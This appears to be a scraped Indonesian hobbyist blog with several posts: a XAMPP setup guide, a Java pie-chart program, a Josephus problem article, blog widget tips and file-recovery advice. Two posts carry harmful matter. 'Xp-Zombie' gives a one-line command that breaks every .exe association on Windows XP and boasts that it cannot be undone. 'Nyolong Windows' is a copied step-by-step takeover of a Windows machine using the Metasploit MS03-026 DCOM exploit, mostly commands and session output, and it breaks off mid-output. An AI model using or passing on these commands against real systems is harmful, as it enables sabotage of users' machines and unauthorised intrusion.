tambahkah web anda di bagian htdocs/web_anda


untuk lebih mudahnya ikuti langkah
berikut ini.


1. buat sebuah folder dalam folder
htdocs (/opt/lammp/htdocs). misalnya folder myweb, sehingga path
folder menjadi htdocs/myweb


2. buat sebuah file index.php didalam
folder myweb


3. edit file index.php, dan tulis kode
berikut


-------------------------------------


<html>


<title>myWeb</title>


<body>


<strong>Ini adalah web ku
lho...<strong></br>


<big><big>aku sedang
belajar web...</big></big></br>


</body>


</html>


-------------------------------------


4. jalankan apache anda,(lihat tutorial
sebelumnya)


5. didalam browser masukan
http://localhost/myweb atau http://127.0.0.1/myweb


jika yang muncul adalah tulisan


--------------------------------------


ini adalah web ku lho...


aku sedang belajar web...


--------------------------------------


berarti anda sudah berhasil. lihat
gambar9









<melakukan uninstall>


untuk melakukan uninstall maka hal
pertama yang harus anda lakukan adalah mematikan service terlebih
dahulu.


ingat untuk melakukan hal ini anda
harus menjadi seorang super user atau root.


1.lewat konsol ketik


$ /opt/lammp/lampp stop


Stopping XAMPP for Linux 1.7...


XAMPP: Stopping Apache...


XAMPP: Stopping MySQL...


XAMPP: Stopping ProFTPD...


XAMPP stopped.


2. lalu hapus semua folder dan file
yang ada dalam direktori lammp


$ rm -R /opt/lammp


tunggu sampai proses selesai.


3. XAMPP telah teruninstall

Membuat Diagram PIE

Posted by Bl4ckB0y On 23.09 2 comments

Membuat Diagram PIE untuk Laporan Bulanan Menggunkan Java.

Dalam java telah disediakan suatu library yang dapat digunakan untuk membuat gambar, yang masuk dalam java.awt, komponen-komponen gambar sangat banyak, namun disini hanya akan dibahas beberapa saja.
Komponen pertama adalah setFont() yang berfungsi untuk memberi ketebalan, ukuran, serta jenis huruf. setFont() dapat di isi dengan menggunakan object font (Font p=new Font(“jenis_huruf”,int nilai, int nilai), ).
Selain itu ada juga setColor(Color.BLACK); dalam contoh akan memberikan warna hitam pada pensil atau apa saja yang ditulis dalam kanvas, dalam hal ini adalah Graphic. drawString(string_yang_ditulis,int posisi_x, int posisi_y). fillArc(int posisi_awal_x, int posisi_awal_y, int_posisi_akhir_x, int posisi_akhir_y, int derajat_awal, int derajat_akhir), digunkan untuk membuat sebuah diagram lingkaran yang berisi. Dan terakhir fill3DRec(int posisi_awal_x, int posisi_awal_y, int posisi_akhir_x, int_posisi_akhir_y, Boolean visible), untuk membuat sebuah kotak, perlu diketahui Boolean visible digunakan untuk menampilkan kotak tersebut, dalam hal ini, p[enulis mendefault true karena selalu ditampilkan.
Dengan menggunkan komponen diatas, dapat dibuat sebuah diagram pie yang dapat di integrasikan ke dalam program lain, dalam hal ini penulis membuat sebuah diagram yang berfungsi untuk menampilkan laporan selama satu bulan dalam satuan perhari dalam satu minggu.
Karena berbentuk satu bulan, dan ditampilkan dalam bentuk per hari, maka akan digunakan sebuah pencacah harian, yang mana pencacah harian berisi data numerik, yang terdiri dari senin, selasa, rabu, kamis, jum’at, dan sabtu. Dalam contoh, penulis menggunakan satuan unit untuk tiap harinya.
Skenarionya sebagai berikut. Ketika program dijalankan maka program akan mengambil input dari Operating System mengenai bulan dan tahun, karena return darifungsi Date.getMonth() adalah int yang merefleksikan januari sebagai 0, februari sebagai 1 dst, maka dibuat sebuah fungsi sendiri yaitu getBulan agar diperoleh hasil String nama bulan, selain itu program juga akan mengambil input berupa tahun, hasilnya berupa int jumlah tahun terhitung sejak tahun 1900 (misalkan tahun 2008 maka di OS akan menghasilkan nilai 108 karena 2008-1900=108), Karena kita menginginkan berupa tahun masehi maka hasil ditambah 1900. berikutnya user melakukan input untuk mengisi data harian, kemudian oleh program akan di cek jika total dari input user adalah 0, maka program keluar, namun jika tidak, maka akan dibuat sebuah diagram pie, yang merefleksikan hasil inputan dari user.
Berikut ini adalah source codenya, penulis menggunkan JCreator 3.5 untuk mengompile.

//file Diagram.java
import javax.swing.*;
import java.awt.event.*;
import java.awt.*;
import java.util.*;
import java.io.*;

public class Diagram{
public static void main(String args[]) throws IOException{
try{
Date d=new Date();
String bulan=GetBulan(d.getMonth());
int tahun=d.getYear()+1900;
BufferedReader input=new BufferedReader(new InputStreamReader(System.in));
System.out.println("===Program Diagram===");
System.out.println("Masukan Data Bertipe Numerik");
System.out.print("Minggu :");
int minggu=Integer.parseInt(input.readLine());
System.out.print("Senin :");
int senin=Integer.parseInt(input.readLine());
System.out.print("Selasa :");
int selasa=Integer.parseInt(input.readLine());
System.out.print("Rabu :");
int rabu=Integer.parseInt(input.readLine());
System.out.print("Kamis :");
int kamis=Integer.parseInt(input.readLine());
System.out.print("Jum'at :");
int jumat=Integer.parseInt(input.readLine());
System.out.print("Sabtu :");
int sabtu=Integer.parseInt(input.readLine());
Pie p=new Pie();
p.MakePie(minggu,senin,selasa,rabu,kamis,jumat,sabtu,bulan,tahun);

}catch(Exception p){
}
}

static private String GetBulan(int u){
if(u==0)return("Januari");
if(u==1)return("Februari");
if(u==2)return("Maret");
if(u==3)return("April");
if(u==4)return("Mei");
if(u==5)return("Juni");
if(u==6)return("Juli");
if(u==7)return("Agustus");
if(u==8)return("September");
if(u==9)return("Oktober");
if(u==10)return("Nopember");
if(u==11)return("Desember");
return("");
}
}

class Pie extends JApplet {
public void MakePie(int minggu,int senin,int selasa, int rabu, int kamis, int jumat, int sabtu,String bulan, int tahun) {
JFrame frame = new JFrame();
frame.setTitle("Laporan Bulan "+bulan+" "+tahun);
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frame.setResizable(false);
JApplet applet = new Pie();
applet.init();
String hari=getDay(minggu,senin,selasa,rabu,kamis,jumat,sabtu);
JPanel panel = new SpiroPanel(minggu,senin,selasa,rabu,kamis,jumat,sabtu, hari);
applet.getContentPane().add(panel);
frame.getContentPane().add(applet);
frame.pack();
frame.setVisible(true);
}

private String getDay(int minggu, int senin, int selasa, int rabu, int kamis, int jumat, int sabtu){
int max=0;
String day="";
if(max<minggu){

max=minggu;
day="Minggu";

}

if(max<senin){
max=senin;
day="Senin";

}

if(max<selasa){
max=selasa;
day="Selasa";
}

if(max<rabu){
max=rabu;
day="Rabu";
}

if(max<kamis){
max=kamis;
day="Kamis";

}

if(max<jumat){
max=jumat;
day="Jum'at";
}

if(max<sabtu){
max=sabtu;
day="Sabtu";
}

return(day);
}
}

class SpiroPanel extends JPanel {
int minggu=0,senin=0,selasa=0,rabu=0,kamis=0,jumat=0,sabtu=0;
String hmax;
public SpiroPanel(int m,int s, int sl, int r, int k, int j, int sb,String hmaxi) {
setPreferredSize(new Dimension(330, 590));
setBackground(Color.GRAY);
minggu=m;
senin=s;
selasa=sl;
rabu=r;
kamis=k;
jumat=j;
sabtu=sb;
hmax=hmaxi;
}

public void paintComponent(Graphics grap) {
super.paintComponent(grap);
Graphics g = (Graphics)grap;
int y=minggu+senin+selasa+rabu+kamis+jumat+sabtu;
if(y==0){
JOptionPane.showMessageDialog(this,"y nol "+y,"",1);
return;
}
int mgu=0,snn,sls,rb,kms,jmt,sbt;
mgu=(minggu*360)/y;
snn=(senin*360)/y;
sls=(selasa*360)/y;
rb=(rabu*360)/y;
kms=(kamis*360)/y;
jmt=(jumat*360)/y;
sbt=360-mgu-snn-sls-rb-kms-jmt;
Font f=new Font("",3,15);
g.setFont(f);
g.setColor(Color.BLACK);
g.fillRoundRect(10,10,300,300,0,mgu);
g.setColor(Color.RED);
g.fillArc(10,10,300,300,0,mgu);
g.fill3DRect(10,320,20,20,true);
g.drawString("Minggu ("+minggu+" unit )",40,340);
g.setColor(Color.YELLOW);
g.fillArc(10,10,300,300,mgu,snn);
g.fill3DRect(10,343,20,20,true);
g.drawString("Senin ("+senin+" unit )",40,363);
g.setColor(Color.BLUE);
snn=snn+mgu;
g.fillArc(10,10,300,300,snn,sls);
g.fill3DRect(10,366,20,20,true);
g.drawString("Selasa ("+selasa+" unit )",40,386);
sls=sls+snn;
g.setColor(Color.GREEN);
g.fillArc(10,10,300,300,sls,rb);
g.fill3DRect(10,389,20,20,true);
g.drawString("Rabu ("+rabu+" unit )",40,409);
rb=rb+sls;
g.setColor(Color.MAGENTA);
g.fillArc(10,10,300,300,rb,kms);
g.fill3DRect(10,412,20,20,true);
g.drawString("Kamis ("+kamis+" unit )",40,432);
kms=kms+rb;
g.setColor(Color.ORANGE);
g.fillArc(10,10,300,300,kms,jmt);
g.fill3DRect(10,435,20,20,true);
g.drawString("Jumat ("+jumat+" unit )",40,455);
jmt=jmt+kms;
g.setColor(Color.CYAN);
g.fillArc(10,10,300,300,jmt,sbt);
g.fill3DRect(10,458,20,20,true);
g.drawString("Sabtu ("+sabtu+" unit )",40,478);
g.setColor(Color.PINK);
g.drawString("Total -- "+y+" unit",40,500);
g.setFont(new Font("",5,15));
g.setColor(Color.WHITE);
g.drawString("Maximal hari "+hmax,20,550);
}
}


Program ini dapat diintegrasikan pada program lain, dengan menambah fungsi lain sesuai kreativitas, seperti yang dilakukan penulis dengan mengintegrasikan pada program laporan hasil penjualan tiket kereta untuk satu bulan. Penulis menambahkan fungsi buatan penulis sendiri agar sinkron dengan program Diagram tersebut.
Masih banyak fungsi lain yang ada di dalam java.awt, silakan dipelajari. Selamat Berkreasi.

berikut ini contoh gambarnya...

Josephus Problem

Posted by Bl4ckB0y On 06.16 0 comments

Josephus Problem dengan LinkedList menggunakan Jav a.
Linkedlist adalah salah satu bentuk struktur data yang memilki setidaknya dua element yaitu isi atau data yang disimpan kemudian sebuah pointer untuk mendeklarasikan elemen linkedlist lain. Setiap elemen dalam linkedlist disebut dengan Node. Dan pada akhir linked;ist (Node terakhir), referensi pointer node terakhir menunjuk ke null (tidak ada isinya). Dalam programming node pertama dalam linkedlist disebut dengan Head, sedangkan bagian terakhir dari linkedlist disebut dengan tail.
Dalam perkembanganya linkedlist dibedakan atas berbagai jenis antara lain single linkedlist (linkedlist yang hanya memilki satu pointer untuk menunjuk element), double linkedlist (yaitu linkedlist yang memiliki 2 pointer penunjuk elemen yaitu elemen sebelumnya dan elemen sesudahnya), linear linkedlist (linkedlist yang berbentuk memanjang) dan circular linkedlist (yaitu linkedlist yang memutar, bagian head menyambung dengan tail).
Dalam pemrograman, maka struktur yang menempati urutan paling rendah adalah Node, kemudian linkedlist dituunkan dari sebuah Node. Berikut ini adalah deklarasi sebuah Node.




Penjelasanya sebagai berikut, isi yang bertipe int merupakan sebuah data atau informasi yang akan disimpan dalam sebuah linkedlist, dalam hal ini penulis hanya menggunakan sebuah elemen yang akan disimpan, faktanya dalam programming elemen yang disimpan bisa lebih dari satu, misalnya node tentang identitas sesorang, bisa berisi String nama, String alamat, Date tanggal lahir, dan satu yang wajib yaitu elemen penunjuk node berikutnya, dalam contoh dinamakan Next.
Untuk menyelesaikan permasalahan Josephus problem maka kita terlebih dahulu harus mengerti tentang hal ini, josephus adalah seorang komandan perang, suatu ketika ia bersama anak buahnya dikepung oleh musuh, kemudian josephus dan anak buahnya diperintah untuk melakukan sebuah permainan bunuh diri. Dengan aturan kelompok orang tersebut membentuk melingkar, kemudian sebagai kapten, josephus ditunjuk sebagai orang pertama yang menjadi acuan, kemudian dihitung berdasarkan hitungan yang telah ditetapkan, jika hitungan selesai, maka orang yang terakhir dalam hitungan melingkar tersebut dibunuh, kemudian hitungan dilanjutkan lagi dari orang yang berada sebelum orang yang terbunuh tadi, dihitung lagi, kemudian seperti yang tadi, yang terkhir dibunuh lagi begitu seterusnya hingga tersisa satu orang yang selamat, dan yang selamat ini akan dibebaskan oleh musuh. Sehingga jika ada sepuluh ornag misalnya maka penghitungan akan dilakukan sebanyak sembilan kali karena tiap hitungan selesai akan membunuh satu orang, sedangkan para penjahat meminta tersisa satu orang.
Dengan analisis diatas, kita dapat mengumpamakan orang adalah sebuah node dan lingkaran tersebut dideklarasikan menggunkan circular linkedlist dan dalam hal ini tugas sang programmer adalah menentukan siapa yang selamat, dengan input jumlah orang, nama-nama mereka, dan hitungan tiap sesi. Kemudian output yang dihasilkan adalah nama yang selamat dan nama yang mati. Sehingga deklarasi node dapat diubah menjadi.



Simpan dengan nama Node.java, perbedaanya terdapat pada isi yang awalnya bertipe integer sekarang bertipe String, karena berupa nama orang yang akan dimainkan. Secara lengkap Source Code Program Josephus sebagai berikut, penulis menggunkan JCreator v 3.0, tulis source code berikut dan simpan dengan nama josephus.java (karena java bersifat case sensitive maka perhatikan huruf besar dan kecil dalam penamaan variable dan methodenya) :



Compile dan lakukan Run hasil akan diatampilak dalam bentuk Comand Prompt seperti dalam gambar

E-book Hacking

Posted by Bl4ckB0y On 06.56 6 comments

Add Counter Information

Posted by Bl4ckB0y On 10.05 0 comments

biasanya dalam sebuah web terdapat sebuah web counter yang fungsinya untuk menghitung jumlah pengunjung yang telah membuka web tersebut. nah trik kali ini adalah bagai mana menambahkan sebuah counter web dalam blog kita.
setelah kesana-kemari, akhirnya ketemu juga cara untuk mendapatkan counter web secara gratis dan murah. yap tinggal arahkan browser ke http://www.bestfreehitcounters.com, disana banyak pilihan bentuk dan gambar hit counter yang disediakan silakan pilih salah satu dengan mengklik, anda akan dibawa ke bagian yang paling penting, masukan nama blog pada pagename, dan biarkan yang lain apa adanya. senjutnya klik pada button bertuliskan "click here for get the code" dan anda akan diberikan sebuah kode.



masuk ke bloger dan pilih customize, pilih bagian edit html. dan masukan kode tadi dimanapun yang diinginkan. atau jika ingin mudah cari widget yang mendukung code HTML/javascript dan masukan disana. berikut gambarnya.

masukan kodenya disana, dengan memasukannya pada widget akan menjadi lebih mudah. klik save. jika berhasil hasilnya akan seperti ini

atau bisa dilihat di pojok kanann atas blog ini...

selamat mencoba. gampang kok...

Add-this Button

Posted by Bl4ckB0y On 15.59 0 comments

Ingin Menambah Button Share dan lain-lain seperti miliki dibawah ini...gampang saja kok...kunjungi

http://www.addthis.com/
disana ada pilihan buat register..langsung lakukan register seperti biasa..kemudian sampailah pada bagian dimana kita memilih jenis button...terdapat pula pilihan untuk website atau blogger. jangan sampai lupa untuk masalah ini karena sangat penting untuk masalah pemberian kode. lalu klik next dan copy pastekan kode yang tertullis pada web ke html blog atau kode website teman-teman
selamat mencoba...

Hack Facebook

Posted by Bl4ckB0y On 12.12 6 comments

video ini saya ambil dari youtube..tampak begitu mudahnya melakukan hacking facebook dengan bantuan tool-tool dari internet...

hanya dengan bantuan www.rayahari.com dalam beberapa detik facebook bisa dihacking dengan mudah tanpa perlu susah-susah bahkan oleh seorang newbie sekalipun...tapi ketika penulis coba ternyata yang terjadi malah mbulet tiada tara. kalau ada yang bisa mohon kasih tau yah.....

Recovery Documents

Posted by Bl4ckB0y On 09.51 0 comments

salah satu hal yang paling menjengkelkan bagi kita pada komputer adalah saat dimana kita mendapatai bahwa file kita yang paling penting tiba-tiba rusak entah karena apa...banyak orang yang sampai rela mengorbankan ratusan ribu hanya untuk mengembalikan file yang sudah rusak tersebut.banyak sekali penyebab rusaknya file pada sebuah hardisk. bisa terjadi karena cacat fisik hardisk, kena serangan virus, bad sector, tidak sengaja terhapus dan kerusakan-kerusakan yang lain. ada yang bisa dikembalikan dan ada pula yang tidak.
dan untuk kali ini saya mencoba memberikan beberapa tipntrick untuk menyelamatkan data yang sudah KO dari harddisk kita...

1. Kena Serangan Virus
pada dasarnya sebuah file yang rusak akibat diserang virus sudah tidak bisa lagi diharapkan keselamatanya. namun untuk beberapa jenis virus tertentu yang kadang-kadang sebenarnya tidak menyerang sebuah file, tapi hanya menghidden sebuah file tersebut dan membuat file virus baru yang dimirip-miripkan seperti file asli, baik melalui icon dan nama sekaligus filetypeny. pengguna yang kurang jeli tentu akan frustasi dan langsung bunuh diri (Cuma bercanda...) karena hal ini. tapi pengguna yang professional akan merasa tertantang dan punya cara tersendiri untuk merecovery data-data tersebut.
untuk virus-virus buatan indonesia pada dasarnya bukan virus yang terlalu horor asalkan tahu ciri khas virus dan metode awal pencegahan. silakan lihat postingan saya untuk metode pencegahan, judulnya "aman tanpa antivirus", disana terdapat banyak cara menanggulangi virus tanpa antivirus.
kembali lagi ke virus indonesia. pada dasarnya virus-virus bikinan anak dalam negeri hanya menhidden file asli dan membuat/menggenerate dirinya sendiri untuk menyamarkan diri seperti layaknya file asli tersbut. pengguna yang awam akan mengira file tiruan ini sebagai file asli, sehingga mengkopinya ke flasdisk dan menjalankanya di komputer lain dengan cara inilah virus meyebar. makanya kadang saya mendengar ada file yang kena virus dibuka dikompie yang kena virus bisa dan dibuka dikompie lain tidak bisa. sebenarnya yang terjadi, anggaplah kita mempunyai file data.doc dengan atribut show seperti biasa. oleh virus atribut akan diubah menjadi hidden, dan virus akan mengkopikan dirinya ke satu folder dengan file kemudian menyamarkan dirinya menjadi data.doc.exe, jika kita mengklik file data.doc.exe (virus). maka kita sudah menjalankan virus tersebut, kemudian virus akan mengeksekusi perintah open_document(data.doc), sehingga ia OS akan membuka file data.doc dengan default programnya yakni ms.office, sehingga kita terkecoh. padahal jika kita membuka file data.doc (file asli), tanpa perantara virus sebenarnya juga bisa. dari kondisi ini, jika kita pengguna mengkopi file data.doc.exe (virus) tanpa mengkopi data yang asli (data.doc) maka tentu saja dikomputer lain tidak ada karena file ini memang tidak pernah ada, dan ini yang kadang dianggap sebagai file rusak oleh pengguna awam.

ada beberapa virus-virus yang dibuat oleh programmer lokal yanng saya anggap handal. kalau tidak salah namanya virus antiporno, karena ia akan mengenkripsi semua file .jpg dan .3gp, kalau yang seperti ini baru benar-benar sulit karena kita harus mendenkrip ulang virus dan membaca teknik enkripsi dengan bahasa asembly. kemudian kita buat denkripsinya, dan tentu tidak banyak orang yang bisa begini. untuk kasus yang seperti ini, jika datanya memang menyangkut hidup mati anda, sebaiknya bawa ke para penyedia jasa file recovery, tapi jangan tanya harganya (setahuku sekitar 5 juta untuk harrdisk 1 GB).

2. cacat Harddisk

kalau yang begini baru kita bisa bilang "Hanya Allah harapanku". data eletronik sebenarnya disimpan dalam bit-bit tertentu yang satu sama lain saling terkait, satu bit saja rusak bisa mengakibatkan seluruh data rusak. jika ini yang terjadi silakan berdo'a saja karen atak banyak yang dapat diperbuat. saya juga tidak bisa memeberikan tip disini karena memang menyagkut masalah hardware sehingga hanya orang teknisi yang bisa memperbikinya. mohon maaf...

3. Salah Hapus

kalau yang ini tergantung dari OS anda dan cara menghapus yang bagaimana yang dilakukan. di windows sekalipun data telah dihapus dari recycle bin data masih bisa kembali selama lokasi penyimpanan belum di timpa (overwrite) dengan data lain. kok bisa ?...tentu saja, ketika kita menhapus dari recycle bin, windows tidak serta merta menhapus data, yanng dilakukan windows hanya menhapus head dari sebuah file, sehingga sevara logic data sudah hilang, tapi secara fisik data masih ada, selama data lain tidak menimpa alamat lokasinya, karena logic windows mengatakan alamat xx dan yy dari file ini telah dihapus dan bisa diisi dengan data lain. nah disinilah program Recovery bekerja, caranya dengan membaca seluruh isi harddisk entah itu mengandung head atau tidak, makanya pada program recovery terdapat persentase keselamatan karena bisa saja sebagian dari alamat memori program yang lama, sudah tertimpa data lain. sebenarnya teknik ini juga dimanfaatkan para hacker untuk mencuri data yang menurut pengguna awam sudah dihapus. banyak program untuk melakukan recovery file, silakan cari di google.

lalu bagaimana dengan program sredder seperti Tune Up Shredder yang katanya bersih 100%..? nah kalau yang ini memang bener-bener hilang 100%, mengapa karena ketika kita menghapus sebuah file lewat program shredder, yang terjadi adalah data dihapus headnya, kemudian dibebeaskan memorinya, lalu ditimpa datanya dengan data sampah pada seluruh lokasi memeori penyimpanan, kemudian data sampah dihapus lagi dibebaskan memorinya lagi, dan ditimpa dengan data sampah lagi..terus menerus sampai bebebrapa kali, kemudian data sampah dihapus headnya, sehingga jika program recovery dijalankan yang terbaca buka file yang lama, melainkan file sampah karena data sudah benar-benar ditimpa (overwrite) oleh data lain. jika tak sengaja menghapus dengan cara seperti ini, dan itu adalah data kantor yang harus diserahkan kepada bos, sebaiknya bedo'a saja semoga bos tidak menendang pantat anda dari kantor.

Xp-Zombie

Posted by Bl4ckB0y On 16.51 3 comments

trik ini sebenarnya ditulis oleh Xmoensen mungkin sudah agak lama tapi apa salahnya di coba....
===========================================
trik ini bisa membuat windows XP versi berapapu langsung mati dalam beberapa detik saja...
caranya gampang buka cmd...start->run ketik cmd dan langsung jalan
kemudian ketikan kode berikut :
# ASSOC .exe=.m0d4r

tunggu beberapa saat dan dijamin komputer langsung gak jalan, semua file berekstensi .exe jika dibuka propertisnya akan bertipe .m0d4r, padahal program m0d4r gak ada..jadi semua file .exe termasuk file virus ata apapun itu akan tewas wal seketika.....
trus balikinya bagaimana?.......gak bisa.....kenapa? karena ASSOC adalah sebuah progrma kecil bawaan XP yang akan melakukan associasi extensi file...dan karena program .exe ia juga terkena imbasnya....kalau ingin dibalik

# ASSOC .m0d4r=.exe

tetep gak jalan karena semua file executable telah mati...termasuk ASSOC sendiri...
cara balikinya yang palin ggampang ya di install ulang....
hahahaha....

Nyolong Windows

Posted by Bl4ckB0y On 04.48 0 comments

waduh panjang banget tipnya..ini tak ambil dari yogyafree ditulis oleh 

fl3xu5[at]fl3xu5.web.id..karena males ngedit jadi tak copas apa adanya...

dari bawah ini sampe..abis adalah tulisan asli...dari fl3xu5[at]fl3xu5.web.id....

====================================================================

Bismillahirrahmaanirrahiim 


---"4 Commands to takeover windows machine" - 



-[*] Starting the Metasploit Framework... 


o 8 o o 
8 8 8 
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: 
::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads] 

msf > use msrpc_dcom_ms03_026 
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind 
PAYLOAD -> win32_bind 
msf msrpc_dcom_ms03_026(win32_bind) > set RHOST 172.16.0.5 
RHOST -> 172.16.0.5 
msf msrpc_dcom_ms03_026(win32_bind) > exploit 
[*] Starting Bind Handler. 
[*] Sending request... 
[*] Got connection from 172.16.0.3:3766 <-> 172.16.0.5:4444 

Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 

C:\WINDOWS\system32> 


Yup 4 command dalam metasploit digunakan untuk exploitasi windows machine 
(dalam hitungan detik saja bukan ;p ). 
Begitulah gambaran singkat nya. 
Upzz tapi kurang menarik tanpa kita bahas lebih dalam  
Sip ok mari kita bahas satu persatu biar lebih menarik.. 

-Read This article on below carefully!!- 

-Perhatian & Pemberitahuan !! : 
=================================- 

-Artikel ini hanya ditujukan sebagai informasi & pengetahuan untuk siapa 
saja yang membaca artikel ini. So pergunakan informasi ini sebaik 
mungkin.jangan sampe disalahgunakan. Segala akibat dari penyalahgunaan 
artikel ini merupakan tanggung jawab pelaku. 
Penulis tidak bertanggungjawab atas penyalahgunaan artikel ini. - 

-Dipersilahkan memperbanyak artikel ini dengan ijin ataupun tanpa izin 
dari penulis dengan tujuan non profit, dengan tetap mencantumkan kredit 
atas penulis. 


----===== Pengantar =====---- 
Sebenarnya artikel ini sudah agak basi dan kurang berbobot, penulis 
menyadari akan hal ini akan tetapi tidak ada salahnya penulis mencoba 
share dengan sedikit modifikasi untuk pembaca sehingga semoga bermanfaat. 
amien... 

Note : bagi anda yang sudah merasa jago silahkan quit cepat cepat dari 
artikel ini daripada buat boring :p.dan silahkan buat artikel yang jauh 
lebih bagus dari ini!!  
-because i am just ordinary human | No body is perfect..- 

----===== Isi =====---- 

-1. Apa dan bagaimana ?- 
-Artikel ini merupakan bagaimana cara mendapatkan mesini windows 
alias take over windows (xP or win2000 ) menggunakan metasploit dengan 
memakai exploit msrpc_dcom_ms03_026, serta nanti kita akan bermain2 
di cmd target saat kita sudah take over mesin wind* itu dengan akses 
tertinggi (adminstrator, layaknya root di linux/*nix ;p).- 

-Open and Explore your mind !! - 


2. Tool and Peripheral -: 


-attacker : - PC Desktop OS Windows 
- nama komputer fl3xu5 
- IP address 172.16.0.3 
- metasploit v2.7 (http://metasploit.com) 
- scanner (terserah). 

target : - laptop dengan OS Windows XPSP1 :p 
- nama komputer kidz 
- IP address 172.16.0.5 

peripheral lain 
- cross cable , UnShielded Twisted Pair , dengan rj45 
*yup percobaan kali ini dilakukan dengan peer to peer  
mumpung ada pinjeman laptop ;p 
- iringan winamp with Dream theater "Strange dejavu" ;p- 



-Ok langsung ajah ya biar ga kelamaan  

3. -Mulai lakukan serangan ;p Lets Started !!- 
-3.1. Scanning- 
OK seperti pada umumnya yang dilakukan dalam proses hacking 
adalah scanning proses : 
pake nmap aja biar cepet dan praktis  


G:\> nmap 172.16.0.5 

Starting nmap 3.48 ( http://www.insecure.org/nmap/ ) at2004-03-23 23:00WIT 
Interesting ports on 172.16.0.5: 
(The 1652 ports scanned but not shown below are in state: closed) 
PORT STATE SERVICE 
135/tcp open msrpc 
139/tcp open netbios-ssn 
445/tcp open microsoft-ds 
1025/tcp open NFS-or-IIS 
5000/tcp open UPnP- 



wew ternyata port 134 nya terbuka ;p moga moga aja bisa di exploitasi 
rpc nya (berdoa aja duluw ;p) 

-3.2 exploitasi System via port 135 yang kebuka tadi.- 
Kali ini kita pake metasploit versi2.7, bisa didwonload di situs resmi 
nya http://metasploit.com. Bisa juga pake exploit lain spt KAHT2 dll. 



-[*] Starting the Metasploit Framework... 


o 8 o o 
8 8 8 
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: 
::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 


+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads] 

msf > use msrpc_dcom_ms03_026 
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind 
PAYLOAD -> win32_bind 
msf msrpc_dcom_ms03_026(win32_bind) > set RHOST 172.16.0.5 
RHOST -> 172.16.0.5 
msf msrpc_dcom_ms03_026(win32_bind) > exploit 
[*] Starting Bind Handler. 
[*] Sending request... 
[*] Got connection from 172.16.0.3:3766 <-> 172.16.0.5:4444 

Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 

C:\WINDOWS\system32> <-- ok, kita berhasil masuk ke cmd target:)- 


-Point penting yang perlu diperhatikan adalah 
- target IP : 172.16.0.5 
- IP attacker : 172.16.0.3 
- port yang digunakan untuk koneksi: 
port 3766 <-- portnya attacker utk koneksi dng target 
port 4444 <-- portnya target.- 

YUp artinya kita dah takeover mesin target itu dan kedudukan kita 
sebagai administrator (dengan akses tertinggi ;p) 
nah enaknya ngapain ya kalo dah takeover gini?? 
yuuukk kita coba explore2 yuu  
*laykanya kita explore dengan cmd di mesin kita sendiri ;p tentunya 
dengan DOS command... 
-jangan lupa tuk diingat 
attacker : - IP address 172.16.0.3 
target : - IP address 172.16.0.5- 
Mulai yuu ;p 
-3.3 Analisa dengan netstat -a- 
- Pada mesin attacker : 


G:\Documents and Settings\fl3xu5>netstat -a 

Active Connections 

Proto Local Address Foreign Address State 
TCP fl3xu5:smtp fl3xu5:0 LISTENING 
TCP fl3xu5:finger fl3xu5:0 LISTENING 
TCP fl3xu5:http fl3xu5:0 LISTENING 
TCP fl3xu5:pop3 fl3xu5:0 LISTENING 
TCP fl3xu5:epmap fl3xu5:0 LISTENING 
TCP fl3xu5:microsoft-ds fl3xu5:0 LISTENING 
TCP fl3xu5:2869 fl3xu5:0 LISTENING 
TCP fl3xu5:6017 fl3xu5:0 LISTENING 
TCP fl3xu5:1028 fl3xu5:0 LISTENING 
TCP fl3xu5:3306 fl3xu5:0 LISTENING 
TCP fl3xu5:netbios-ssn fl3xu5:0 LISTENING 
TCP fl3xu5:3766 172.16.0.5:4444 ESTABLISHED 
UDP fl3xu5:microsoft-ds *:* 
UDP fl3xu5:isakmp *:* 
UDP fl3xu5:1025 *:* 
UDP fl3xu5:1026 *:* 
UDP fl3xu5:1049 *:* 
UDP fl3xu5:1050 *:* 
UDP fl3xu5:1051 *:* 
UDP fl3xu5:1052 *:* 
UDP fl3xu5:1053 *:* 
UDP fl3xu5:1054 *:* 
UDP fl3xu5:1055 *:* 
UDP fl3xu5:1056 *:* 
UDP fl3xu5:4500 *:* 
UDP fl3xu5:ntp *:* 
UDP fl3xu5:1900 *:* 
UDP fl3xu5:ntp *:* 
UDP fl3xu5:1027 *:* 
UDP fl3xu5:1900 *:* 
UDP fl3xu5:4293 *:* 
UDP fl3xu5:ntp *:* 
UDP fl3xu5:netbios-ns *:* 
UDP fl3xu5:netbios-dgm *:*- 



- Pada mesin target (cmd target) ketik : 


C:\WINDOWS\system32>netstat -a 
Active Connections 

Proto Local Address Foreign Address State 
TCP kidz:epmap kidz:0 LISTENING 
TCP kidz:microsoft-ds kidz:0 LISTENING 
TCP kidz:1025 kidz:0 LISTENING 
TCP kidz:1032 kidz:0 LISTENING 
TCP kidz:gds_db kidz:0 LISTENING 
TCP kidz:4444 kidz:0 LISTENING 
TCP kidz:5000 kidz:0 LISTENING 
TCP kidz:7551 kidz:0 LISTENING 
TCP kidz:netbios-ssn kidz:0 LISTENING 
TCP kidz:1370 kidz:0 LISTENING 
TCP kidz:1382 kidz:0 LISTENING 
